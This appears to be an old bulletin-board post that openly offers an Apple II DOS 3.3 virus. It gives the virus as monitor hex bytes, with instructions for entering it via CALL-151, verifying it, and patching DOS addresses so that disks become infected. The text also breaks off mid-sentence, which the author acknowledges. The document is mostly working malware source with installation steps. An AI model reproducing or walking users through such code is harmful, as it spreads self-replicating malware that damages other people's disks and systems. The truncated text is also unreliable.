Here's the virus that I've been talking about.  You can trap this in your
buffer and EE into memory if you don't like to type.
Instructions:
 
Boot a normal DOS 3.3 disk.  This should work with speed up DOS's also,
I've tested it and it works with Pronto DOS.
 
From Applesoft, get into the monitor by typing:
 
CALL-151
 
Now type the program in:
 
B6B3:60 A0 00 A2 00
B6B8:4C 52 B0 A9 D5 8D 0F B0
B6C0:A9 B6 8D 10 B0 4C 84 9D
B6C8:A9 BB 8D 48 B7 A9 B6 8D
B6D0:49 B7 6C FD 08 20 52 B0
B6D8:2C BA B4 D0 D6 EE BA B4
B6E0:20 FB AF A9 01 20 B4 B6
B6E8:A0 B3 B9 00 B6 99 BB B3
B6F0:C8 C0 5D D0 F5 A9 02 20
B6F8:B4 B6 4C F7 AF
 
Double check your work, type B6B3.B6FC and the computer will repeat what
you have typed.
 
Get out of the monitor by typing CTRL-C RETURN.  You now have an infected

That got sort of screwed.  You can exec that in and then you have to type:
 
B64A: D0 7C 60
B00E: 4C D5 B6